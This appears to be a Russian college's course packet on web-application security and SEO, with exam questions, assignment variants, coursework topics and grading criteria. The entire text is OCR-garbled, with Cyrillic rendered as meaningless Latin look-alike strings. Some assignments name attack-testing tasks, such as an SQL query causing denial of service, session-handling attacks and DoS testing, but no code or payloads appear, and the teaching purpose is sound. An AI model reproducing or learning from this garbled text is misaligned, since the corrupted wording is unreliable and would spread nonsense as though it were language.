Bonpocel onsa noozomosku K oughgpepenyuposannomy 3zauemy:

OmmoOKH 103a0MITUTH MHTEPHET-Mara3nHa.

[ToHsITHE KOMIUIEKCHOTO ay/auTa CanTa.

SEO-ananus caifra.

ITapameTpsl, o KoTopbIM TipoBoAuTCst SEO-ananmu3 caiita.
Texuuueckue xapakrepuctuku SEO-ananuza caiita.
O1eHKa 103a0MJINTH caiiTa.

O1ieHKa rJ1aBHOM CTpaHUIIbI caiiTa.

Nk W=
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8. OrreHka mankuy camra.

9. Ouruenka nojBana caira.

10. OrneHKa HHTEPAKTUBHOCTHU CalTa.

11. Onenka ccpUIOK caifTa.

12. Omenka KapTHHOK CalTa.

13. Ouenka HaBUTAIIUH caliTa.

14. OueHka 3arojIOBKOB caiTa.

15. Onenka omnepanuii MOMUCKa 0 CauTy.

16. Ouenka au3aiiHa caifra.

17. O1eHka KOHTEHTA calTa.

18. Ouenka ¢hopM 1 AUAIOTOB caiiTa.

19. OteHka KOHBEPCUU caifTa.

20. CriocoObl yCKOpPEHHS 3arpy3KH CalTOB.

21. TlpuumHbI CHUKEHUSA CKOPOCTHU 3arpy3KHu cauTa.

22. Oovenunenne u MuanuImposanre CSS u JS-daitnos — criocob yckopeHHs 3arpy3KH CalTOB.
23. CokpalleHue BpeMeHH OTBETa cepBepa.

24. OnTuMalibHBIE OIIIMKM XOCTHUHTA IO/ 3alPOCHI MOJIh30BaTENCH.
25. AHanmu3 cKaTUs CTPAHMIT CalTa.

26. Cxarue n300paKeHUH U BUICO caifTa.

27. Ucnonwszoanue CDN.

28. OnTuMansHOE UCTIONh30BAHNE CTHIIEH caiTa.

29. Peanuzaliysi OTJIOKEHHOMW 3arpy3Kku W300pakeHuH, Buieo, iframe 1 KOHTEHTAa.
30. AHaiu3 Kojla ¥ COKpAIICHUE YHCIIa UCTIOIb3YEeMbIX TUIArMHOB.
31. YMeHbllIEHUE YKCiIa PETUPEKTOB.

32. AHanu3 BpEMEHHM 3arpy3KH MPeII0KEHHOTO CaiTa.

33. Buytpennss SEO onTumuzanus caura.

34. SMO - ontuMu3anus I COLUAIBLHBIX MEINA.

35. OnruMm3aIus CTpaHUIl canTa.

36. CTpyKTypHpOBaHUE COACPKAHUS caifTa.

37. OntuMu3anus cojaepKaHus caiTa.

38. Onrumwu3anus n300pakeHni caiiTa.

39. Mcnons30BaHUE UCXOAIINX CCHUIOK.

40. TexHn4eckas ONTHUMH3AIHS CAHUTOB.

41. ViydmeHue moBeaeHISCKHX (haKTOPOB CalTa.

42. Unpexcanus caiTa.

43. Koneepranus Tpaduka.

44, BuenrHssa nmouckoBas ontuMm3aius (SEO).

45. CrrocoObI MPOABMKCHHS CAWTOB.

46. YBenuueHne MOCEIAaeMOCTH CailTa.

47. OnTumu3anys CTpyKTyphl caiTa.

48. IlpumeHeHHE TIPUPTOBOKM KOMITO3HIIMH ITPH CO3IaHUH CakTa.
49. Ucnonp3oBaHue OaHHEPOB.

MK 03.03 ObecnieueHue 0€30MaCHOCTH BeO-NIPHJIOKEHH I
Bonpocel ona noozomoeku k KOHmpobHOU padbome
Bapuant Ne 1

BreimonHauTe  TecTHpoBaHWE — 3AlUMIIICHHOCTH  MEXaHW3Ma  YIPaBICHUS  JOCTYIIOM
UCCIIeTyeMOro BeO- mpuiiokeHus. [lpuBennure mpuMepsl CPECTB TECTUPOBAHMSI 3AIIUIIICHHOCTH
MEXaHU3Ma YIIPaBJICHUS CECCUSIMH B BEO-TIPUIIOKCHHSIX.
Bapuant Ne 2
BeimonHuTe  TecTupoBaHUE UCCIIENyeMOTo BeO-nipriiokeHus. [Ipeanoxure MmexaHu3m
BOCCTAHOBJICHHSI ITAPOJICH BEO-TIPHIIOKEHUSI.

Bapuant Ne 3
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BrInonauTe TECTUPOBAHUE 3AIUIIEHHOCTH MEXaHU3MA YIIPABIICHUS CECCUSIMHU HCCIIEyEMOTO
BeO- mpuioxenus. [IpuBenute mpuMepbl CPeICTB TECTUPOBAHMS 3aIMIIEHHOCTH MeXaHH3Ma
yIPaBIEHUS CECCUSMHU HCCIEyeMOro BEO-IPUIOKEHUS.

Bapuant Ne 4

BoinonnuTte TecTupoBaHHE YCTOMUMBOCTH BeO-mpmiiokeHus Kk DoS-arakam Ha ypoBHE
npotokona HTTP. IlpuBenute MmeToapl M CpeACTBA TECTHPOBAHUS BEO-MPHIOKEHUN Ha
YCTOMYMBOCTD K aTakaM OTKa3a B oOciyxuBaHuu (DoS-atakam).

Bapuant Ne S

BoinonnuTe TecTUpOBaHKE YyCTOMYMBOCTH BeO-TIpriiockeHus k DoS-atakam Ha ypoBHE
nporokona HTTP. IIpoananusupyire, Kak MOKHO IO KOCBEHHBIM IIPU3HAKAM OIPELEIUTH
ySI3BUMOCTH BeO-cepBepa

Bapuant Ne 6
[IporecTupyiite ckopocThb 3arpy3ku caiira. [lepeuncinre cniocoObl yCKOpEHHUS 3arpy3Ku caira.

Bapuant Ne 7

Pa3mecture BeO-npuiIokKEHNE B CETH B COOTBETCTBUU C TEXHMUYECKUM 3ajaHueM. [Ipuseaure
IIPUMEPBI CUCTEM YIIPABJICHUS CAUTOM, UX JOCTOMHCTBA U HEJOCTATKH.
Bapuant Ne 8

IToctpoiite u Bbmoanure SQL-3ampoc, mnpuBomdmMidi K OTKasy B 00CIy)KMBaHUU
BeO-npuiioxeHus. B uem 3akiroyaeTcst TEXHUUECKOe COIIPOBOXKIEHUE caiiTa?
Bapuant Ne 9

[Ipennoxute cnocoObl OpraHM3allMyd —3allUIIEHHOI0 yJIajieHHoro jocrymna. Kakxobl
0COOEHHOCTH YIPABJICHUS JOCTYIIOM K BEO-IIPUITIOKEHUAM?
Bapuant Ne 10

HccnenyiiTe MUHUMAJIBHO JAOMYCTUMYIO JUIMHY M CIIOKHOCTB Mapojiel B aHAJTM3UPyeMOM BeO-
npuiioxkeHuu. [Ipemioxkure crnocoObl MOBBIIIEHNUS HAZEKHOCTH apOJIbHON 3aIUTHI.

3aganue 3.
Bapuant Ne 1

[IpoBenute ayaut 3amanHoro caiira. [lepeunciure 6a30Bble cocTaBistonie ayaura caiita. C
KaKoOM 11eJIbI0 TPOBOAUTCS ayAUT caita?

Bapuant Ne 2

[IpemioxxuTe crieHapuil aTaku, UCTIONb3YIOLUINA HEJOCTATOK AHHYJIUPOBAHUS CECCUH TOJIBKO
Ha KIIMEHTCKON CTOpOHE BeO-NIpHUiIokKeHUs. [[puBenTe MpruMepsl aTak Ha BEO-TIPUIIOKEHUSI.
Bapuant Ne 3

[IpoBeaute SEO-ontummsanuio uccinemyemoro caira. Kakoa mens SEO-ontumuzarum
CTpaHuI] caifta?
Bapuaunt Ne 4

[IpoBeauTe TEXHUYECKYIO ONTHUMH3AIMIO HCCIeAyeMoro caira. ONUIINTE TEXHUYECKHUE
XapaKTEPUCTUKH CanTa.
Bapuant Ne 5

[Ipoananusupyiite noBeaeH4YecKre GpakTopsl uccienyemoro caifta. Kakue nokasarenu caita
OTHOCATCS K TIOBEJACHYECKIM?
Bapuant Ne 6

CobeprTe CTaTUCTHYECKYH0 HH(pOpMAaIHUI0 O paboTe HCCIACAYEMOro BEO-NPUIOKCHHS IS
aHainu3a 3¢ dekTuBHOCTH ero padoThl. Kakum 06pa3oM MOXKHO NOBBICUTH 3()PEKTUBHOCTD pPaOOThHI
BeO- MpuIoKeHus?
Bapuant Ne 7

[Ipeioxkute MeponpHsATHS 1O HPOABHKEHHUIO HCCIEIyeMOro BeO-IPUIOXKEHUS B
UHPOPMAIMOHHO- TEJIEKOMMYHHUKAIIMOHHOW ceTh MHTepHeT. Ha3zoBuTe criocoOBl MpOaBMKEHUS
caiToB.

Bapuant Ne 8
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[IpemnoxuTe ciocoObl MOJEPHU3AINH HCCIIETyEMOTO BEO-TIPHIIOKEHHS C yIETOM MPABHI U
HOPM MOJATOTOBKM HMH(OpManuu Ui MOMCKOBBIX cucTeM. Ha3oBuTe crocoObl ONTHUMU3ALUU
CTPYKTYpBI CalTa.

Bapuant Ne 9

[Ipemnoxxure cnocoObl 3amMTBI  HccexyeMoro caiira. [lpuBemuTe npuUMepbl yrpo3
0€30MacHOCTH caiiTa.
Bapuant Ne 10

Onuimre 3a7auu aIMUHUCTPUPOBAHUS HccaelyeMoro caiita. Kak aaMuHucTpaTop pemaer
BOIPOCHI o0ecrieueHns 6€30MacHOCTH caifra’?

Ilepeuens npaxmuueckux 3a0anuil 011 NOO20MOBKU K Oughghepenuyuposannomy 3auemy
OcHOBHBIE TOHATHS HH(OPMAIIMOHHON 0€30MacCHOCTH BEO-PHIIOKEHUH.

OcCHOBHbIE IPUHLUIIBI TIOCTPOEHUS 0€30IaCHBIX CalTOB.

ITonatue 6e30MacHOCTH NMPUIIOKEHUH U KIacCU(UKAIMS OTAaCHOCTEH.

Hcrounuku yrpo3 HHPOpMAIIMOHHON 0€3011aCHOCTH M MEPHI [0 UX MPEI0TBPAILEHUIO.
PernameHThI 1 MeTO/1bI pa3pabOTKU OE€30MaCHBIX BEO-TTPUIIOKEHUH.

besonacHas ayreHTuuKaLus.

bes3omnacHas aBropusanus.

[ToBbIIEHME IPUBUIIETHH.

9. OO0mmas 0TKa30yCTONYMBOCTh CUCTEMBI.

10. IIpoBepka KOPPEKTHOCTH JIaHHBIX, BBOJUMBIX IIOJIb30BATEIIEM.

11. Ilybnukanus nzobpaxenuii u ¢paios.

12. Metobl mgppoBaHus.

13. SQL-unbexuuu.

14. XSS-uaBEKIINN.

15. Metoasl U cpecTBa TECTUPOBAHUS 3ALIUIEHHOCTH MEXaHU3Ma YIIPaBIEHHs JOCTYIIOM B BeO-
IPUIIOKEHUSX.

16. MeToapl U CpeACcTBa TECTUPOBAHMS 3AIIUIICHHOCTH MEXaHW3Ma YIIPABICHUS CECCUSMU B BeO-
IPUIIOKEHUSX.

17. Meronbl U CpeAcTBa TECTUPOBAHMS BEO-NPHIOKEHUM HAa YCTOHYMBOCTH K aTakaM OTKa3a B
oOciyxuBanuu (DoS-arakam).

18. Meronsl U cpencTBa MACHTU(MUKALUU U SKCIUIyaTallMd YSI3BUMOCTEH BeO-IIPUIOKEHUH K
aTakam XSS.

19. Metoasl U cpeacTBa UACHTU(DUKALUMN U IKCIUTyaTallud ysI3BUMOCTEH B BEO-NPHIIOKEHUSAX K
atakam SQL-injection.

20. Ananu3 u knaccudukaiys yrpo3 nuHGOpMamoOHHON 0€30MacHOCTH.

21. Ananu3 yrpo3 6€301macCHOCTH B KOMIIBIOTEPHBIX CETSX.

22. OcCHOBHbIE TOHATHS MOJUTUKH UH(OPMAIIMOHHON 0€3011acCHOCTH.

23. CtpyKTypa HOJUTHUKU HHPOPMAIMOHHOM 0€3011aCHOCTH OpraHU3aliHU.

24. Ponb craHAapTOB HHPOPMALMOHHOM O€30MaCHOCTH.

25. MexayHapoiHbIe CTaHAapThl HHPOPMAIIMOHHON O€30TTaCHOCTH.

26. OTteuecTBEHHBIE CTAHJAPTHI O€30MACHOCTH HH(POPMALIMOHHBIX TEXHOJIOTUH.

27. Unentudukanus, ayreHTUPUKALUSI U aBTOpU3aLus CyObEKTOB JOCTYTIA.

28. 3amwura oT BpenoHocHoro [10.

29. OcCHOBHBIE MOHATHSI KPUIITOTpapUUECKON 3alIUThl HHPOPMAIIH.

30. CumMmeTpuYHbIE KPUITOCUCTEMBI U (PPOBAHUS.

31. AcuMMeTpHUYHbIE KPUIITOCUCTEMBI IIN(POBAHMUSL.

32. Ayrentudukanus, aBTopuzanus U aAMUHUCTPUPOBAHHE ACHCTBUI OJIb30BaTEICH.

33. Metonbl ayTeHTU(PUKALINH, UCTIONB3YIONIHE TTApPOJIH.

34. buomerpuueckas ayTeHTU(DHUKALMS OIb30BATE.

35. ®opMupoBaHUE NOJIUTUKU MEKCETEBOTO B3aMMOICUCTBHUS.

36. VYnpaBnenue UASHTU(DUKALUEH U TOCTYIIOM.

PN R DD
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37. OcoOeHHOCTH yIPABICHHS TOCTYTIOM.

38. Opranusanys 3allMIIEHHOTIO yIaJI€HHOIO AOCTYTIA.

39. Kiaccugukanuus BpeZJOHOCHBIX IPOTPAMM.

40. OO6nayHas aHTUBUPYCHAS! TEXHOJOTHSI.

41. 3agauu ynpaiaeHUs] HHPOPMAIIMOHHON 0€30IaCHOCTBIO.

42. O030p COBpEMEHHBIX CUCTEM YTIpaBICHHs 0€30MaCHOCTBIO.
43. AyauT U MOHUTOPHUHT O€30I1aCHOCTH.

44. Ha3nHaueHHE OCHOBHBIX CPEJICTB 3aLUTHI.

45. AHTHUBHPYCHbBIE KOMILIEKCHI.

46. 3amwmra ot DDoS-artaxk.

47. IlpenoTBpalieHne BTOPKEHUH CHCTEMHOTO YPOBHSI.

48. CpencTBa U MPOTOKOJIBI ayTEHTU(DUKALIUY yIaJICHHBIX MTOJIb30BATEICH.
49. 3ammra GeCIpOBOIHBIX CETEH.

50. Crannaptsl nHGOpMaLMOHHOM Ge3omacHocTH It IHTepHeTa.

Temuvi Kypcoevix padbom:

1. TIpoexTupoBaHue u pa3pabOTKa UHTEPHET-Mara3uHa (C y4eToM CIenU(PUKH MpejiaraeMbIX
TOBapoB).
[IpoexktupoBanne u pa3paboTka calTa A MOpPEeAnpusATHsS (C y4eToM cHelu(puKu
NESTEIIbHOCTH MPEATIPUSITHS).
[IpoexTupoBanue u pazpadboTka web-npunoxeHus st yaeOHOro IeHTpa.
[IpoexTupoBanue u pazpaboTka web-npunoxeHus A TOProBOil OpraHu3aluu.
[IpoexTupoBanue u pazpaboTka web-nprioKeHus 11l MPOBEICHUS TECTUPOBAHUSI.
[IpoextupoBanue u pazpaboTka web-npuaoKeHus A CEpBUCHOTO IICHTPA.
[IpoexTupoBanue u pazpadboTka web-nproxeHus 1isi MEAUIIMHCKOTO IIEHTpa.
[IpoextupoBanue u pazpadboTka web-npuaoKeHus As IeHTpa AeTCKOro TBOPUYECTBa.
[IpoexTupoBanue u pazpaboTka web-nprioKeHus 1Jisi TYPUCTHIECKOTO areHTCTBA.
0. [IpoexktupoBanre u pazpaboTka web-MpUIOKEHHs A7 JOOPOBOJIBHON OpraHMU3alfH I10

3aIUTE )KUBOTHBIX.

11. IlpoexTupoBanue u pa3zpaboTka web-IpUIOKEeHHs A MOATOTOBKH K claye dK3aMeHa B

I'bal.
12. TIpoekTupoBanue u pazpaboTka web-mpuioKeHus A7 OMOTUOTEKH.
13. IIpoexTupoBanue u pa3paboTKa Web-TIPUIIOKESHHS 1JI1 ONTOBOM TOPTOBOM OpraHU3AIIHH.
14. TIpoexTupoBaHue 1 pa3padboTka Web-IPUII0KEHUS IS KOJUI-IIEHTPA.
15. IIpoexTupoBanue u pa3paboTKa Web-TIPUIIOKESHUS I U3YyUYE€HUS MHOCTPAHHBIX S3BIKOB.
16. IIpoexkTupoBanue u pa3padboTka wWeb-MpUII0KEeHUS IS y4eTa JMYHBIX (PUHAHCOB.
17. TlpoexTupoBaHue 1 pa3padboTka Web-IpHII0KEHNS TPAHCIIOPTHON KOMITAHUU.

N
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3. Kputepuu oueHuBaHHusA

Kpumepuu ouenusanus 6vinoinenus 3a0anuii RPAKMUYeCKUX 3aHAMUIL

Onenka "omauuno” — 3ajaHe BBITIOJIHEHO B MTOJTHOM 00BbeMe, JaHbI IPABHIbHBIC OTBETH HA
KOHTPOJIbHBIC BOIPOCHI, CJICJIaHbI JIOTUYECKA TOYHBIC BHIBO/IBL.

Omnenka "xopouwio” — 3ajaHne BBITIOJHEHO B MOJHOM 00BEMeE, IaHbl MPABIILHBIC OTBETHI Ha
KOHTPOJIbHBIC BOIPOCHI, HE BCE BBIBOJIbI JIOTUYCCKH TOYHBI M IPABHIILHBI.

Onenka "yoosremeopumenvHo"” — 3alaHre BBITIOJHEHO B MOJTHOM OOBEME, €CTh OITUOKHU B
OTBETaX Ha KOHTPOJIbHBIC BOIIPOCHI, HE BCE BBIBOJIBI ITPABUIIBHBIC.

Oruenka "neyodosnemeopumenvro” — 3aJlaHie HE BBITIOJIHEHO, OTBETOB HET, BHIBOJIOB HET.
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Kpumepuu oyenueanus epinonnenusn u 3auiumol Kypcogoi padomaot

Oyenka «omauuynoy» — TPOEKT BBHIMIOJHEH B MOJHOM O0BEME M MOJTHOCTHIO COOTBETCTBYET
TEXHUUYECKOMY 3aJaHHi0, O(OPMIICHHE JOKIAaJa COOTBETCTBYET TPEOOBAHUSAM, MPEAbSIBISICMBIM B
o0pa3oBaTeNbHOM OpraHu3aluy, [OKJIaJ TpPaMOTHBIM, Wpe3eHTalus COOTBETCTBYET BCEM
TpeOOBaHUSM.

Oyenka «xopouio» — IPOEKT BBITIOJIIHEH B IOJTHOM 00BbEME, UMEIOTCSI HEOObIIINE HET0PAOOTKI
M0 TEXHUYECKOMY 3aJIaHUI0, HE3HAUNTENIbHBIE HE0YETHI B 0(DOPMIICHUH MTPE3ECHTAIIMH 1 TIOJITOTOBKU
JOKJIaja.

Oyenka «yo0oeremeopumenvHoy — TPOEKT HE BBIMOJHEH B IOJHOM O0BbEME, HMEIOTCS
HEe0paOOTKH MO TEXHUYECKOMY 33JaHHI0, HE0YEThl B 0hOPMIIEHUH, €CTh 3aMEUYaHUs M0 JOKJIATy U
IIPE3CHTALNH.

Oyenka «HeyoosremeopumenbHo» — MPOEKT BbINOMHEH MeHee yeM Ha 30%, odopmieHue
MPE3CHTAIIMHA HE COOTBETCTBYET TPEOOBAHUSM, NMPEABSIBISIEMBIM B 00pa30BaTeIbHON OpPTaHU3AIINH,
JTOKJIaJ] HE TOTOB.

Kpumepuu oyenueanua konmpoasHoil pabomol:

Onenka "omauuno" — 3alaHuE BBIITOJIHEHO B TIOJIHOM 00beMe, JTaHbI IIPABUIIHbHBIC OTBETHI Ha
KOHTPOJIbHBIE BOIIPOCHI, C/IENIAHbI JIOTHUYECKH TOYHBIC BBIBOJIBI.

Onenka "xopowto” — 3agaHue BBIITOJHEHO B MOJHOM 00bEME, JaHbI IPABUIILHBIC OTBETHI Ha
KOHTPOJIbHBIE BOIIPOCHI, HE BCE BHIBOJIBI JIOTUYECKH TOUHBI U TIPABUIIHHBI.

osemeopumenvHo” — ,

Ouenka "yo " — 3a1aHUE BBIIIOJIHEHO B IIOJIHOM OOBEME, €CTh OLIMOKU B
OTBETaX Ha KOHTPOJIbHBIE BOIIPOCHI, HE BCE BBIBOJIBI ITPABUIIbHBIC.

OneHka "Heydosremeopumenvro” — 3aJlaHue HE BBITIOJIHEHO, OTBETOB HET, BHIBOJIOB HET.

Kpumepuu oyenueanusa oughghepenyuposannozo zauema

Ouenka "omauuno” —

1. T'myGokoe u mpoYHOE YCBOCHHE MTPOTrPAMMHOTO MaTepraa.

2. 3HaHME MaKEeTOB MPUKIIAIHBIX TPOTPAMM.

3. 3HaHHe OCHOBHBIX MPUHIIUIIOB MOCTPOCHHUS MAKETOB MPUKIAJIHBIX IPOTPAMM.
4. 3HaHMe OCHOBHBIX 33J1a4 MPUKJIAAHBIX POTPAMM.

5. CBoOoaHOE BNaJIeHUE TAKETAMH MPUKIIAIHBIX IPOTPAMM.

6. TouHocTh 1 00OCHOBAHHOCTH BHIBOOB.

7. be3ommO0YHOE BBITOJIHEHNE TPAKTHYECKOTO 3aaHMsI.

8. TouHbIe, MOJIHBIE U JIOTHYHBIE OTBETHI HA IOMIOJHUTENbHBIE BOIIPOCHI.

Ouenka "xopowto"” —

Xopouiee 3HaHuE MPOrPaMMHOI0 MaTepuaia.

HenocraTouHo mosiHOE U3/10KEHHE TEOPETHIECKOI0 BOIPOCa 3K3aMEHAIMOHHOTO OUjIeTa.
Hanndue He3HAYUTENBHBIX HETOYHOCTEHN B YIIOTPEOICHUU TEPMUHOB, KIIACCU(DUKAIIUHA.
3HaHUE OCHOBHBIX MAKETOB MPUKJIAHBIX ITPOTrPaMM.

HenosnHoTa npeacTaBieHHOro MWILTFOCTPATUBHOTO MaTepUaia.

TouyHOCTh U 00OCHOBAaHHOCTDH BHIBOJIOB.

JlornuHoe u3n0KEHNE BONPOCA, COOTBETCTBUE U3JI0KEHUS HAYYHOMY CTHIIIO.

Herpy0as ommn6ka nmpu BEIIOTHEHUH MPAKTUYECKOTO 3a/1aHusl.

i A e

OueHnka "yoosremseopumenvho' —

1. IToBepXHOCTHOE YCBOECHHE ITPOTPAMMHOI0 MaTepuaia.

2. HenocTaTo4HO MOJTHOE U3JI0KEHUE TEOPETHUECKOTO BOIPOCa SIK3aMEHAIIMOHHOTO OuIIeTa.
3. 3arpyaHeHHEe B IPUBEACHUH MPUMEPOB, OATBEPKIAIOIIUX TEOPETUUECKUE TTOIOKEHUSI.
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4. Hanuuue HETOYHOCTEH B ynoTpeOIeHUN TEPMUHOB, KilacCU(PUKALIUHI.
5. Heymenue ueTko copMyanpoBaTh BBIBOIBI.

6. OTcyTCTBHE HaBBIKOB HAYYHOT'O CTUJISI M3JI0KEHHUS.

7. I'pyGas ommbKka B MpaKTHUECKOM 33JaHHH.

8. HerouHble OTBETHI Ha IONOJHUTEIbHBIE BOIIPOCHL.

Ouenka "neydosremeopumenvro” —

1. He3snanue 3Ha4nTENBHON YaCTU IPOrPAaMMHOIO MaTepHala.

2. HecriocoOHOCTH MPUBECTH MPUMEPHI MAKETOB MPHUKIAIHBIX IPOrpaMM
3. HeymeHnue BbLAETUTD ITIAaBHOE, CJIEJIATh BBIBO/BI U 000O0IIEHUS.

4. I'pyOble omMOKH MTPH BBIIIOJHEHUHU MPAKTUYECKOTO 3aJaHHUS.

5. HenpaBuibHble OTBETHI HAa JOTIOJIHUTEIbHBIE BOIIPOCHI.

I(pumepuu OUCHUGAHUA IK3AMEHA

Ouenka "omauuno” —

I'myOGokoe 1 MpoYHOE YCBOCHHUE MPOrPaMMHOT0 MaTepHalla.

3HaHUE MAKETOB MPUKJIATHBIX TPOTPaAMM.

3HaHWE OCHOBHBIX MPUHITUIIOB MMOCTPOSHUSI TAKETOB MPUKJIIAIHBIX ITPOTPAMM.
3HaHUE OCHOBHBIX 3a]1a4 MPUKIIATHBIX TPOTPAMM.

CB00OoHOE BJIaJICHHE MTAKETaMHU TIPHUKJIAIHBIX TIPOrPAMM.

To4HOCTE 1 00OCHOBAHHOCTE BHIBOJIOB.

be3ommboyHoe BHIMOTHEHUE TIPAKTUYCCKOTO 33 IaHHUS.

TouHbIe, TOTHBIC U JIOTUYHBIE OTBETHI Ha JOMOTHUTEIHHBIC BOITPOCHI.

i A e

Ouenka "xopowo” —

Xopouiee 3HaHuE MPOrPaMMHOI0 MaTepuaia.

HenocraTouHo mosiHOE U3/10KEHHE TEOPETHIECKOI0 BOIPOCa 3K3aMEHAIMOHHOTO OujieTa.
Hannaue He3HAYUTENBHBIX HETOYHOCTEH B YIIOTPEOICHUU TEPMUHOB, KIIACCU(DUKAIIUHA.
3HaHUE OCHOBHBIX MAKETOB MPUKJIAHBIX ITPOTrPaMM.

HenosnHoTa npeacTaBieHHOro MWILTFOCTPATUBHOTO MaTepHalIa.

TouyHOCTh 1 00OCHOBAaHHOCTDH BHIBOJIOB.

JlornuHoe u3n0KEHNE BONPOCA, COOTBETCTBUE U3JI0KEHUSI HAYYHOMY CTHIIIO.

Herpy0as ommn6ka nmpu BEIIOTHEHUH MPAKTUYECKOTO 3a/1aHusl.

i A e

Ouenka "yoosremseopumenvho" —

[ToBepXHOCTHOE YCBOCHHE MPOrPAMMHOI0 MaTepuara.

HenocraTouHo mosiHOE U3/10KEHHE TEOPETUIECKOI0 BOIPOCa 3K3aMEHAIIMOHHOTO OUjIeTa.
3aTpyaHEHUE B IPUBEACHUU IPUMEPOB, MOATBEPKIAIOIINX TEOPETUUECKHUE TTOT0KEHHUS.
Hanuyue HeTOuHOCTEH B yIOTpeOJIeHUN TEPMUHOB, KJIaCCU(DUKAITUH.

Heymenune ueTko chopMyaupoBaTh BHIBOIBL.

OTcyTcTBHE HABBIKOB HAYYHOT'O CTHJIS U3JI0KEHUS.

['pyOast ommOKa B IPaKTHUECKOM 3aJaHHH.

HeTtouHble OTBETHI Ha TOMOJIHUTEIBHBIE BOIIPOCHL.

i A e

Ouenka "Heydosremeopumenvho” —

1. He3nanue 3HaYUTENBHONW YACTU IPOrPAMMHOTO MaTepHala.

2. HecriocoOHOCTH MPUBECTH MPUMEPHI MAKETOB MPHUKIAIHBIX TPOrpaMM
3. HeymeHnue BBIIENUTD TTIABHOE, CIIENATh BEIBOJIBI M 0000IIICHUSI.

4. I'pyOble omMOKH MPH BBHITTOJHEHUHU MPAKTUYECKOTO 3aJaHHUS.

5. HenpaBuibHbIE OTBETHI Ha IOMOJIHUTENIbHBIE BOIIPOCHI.
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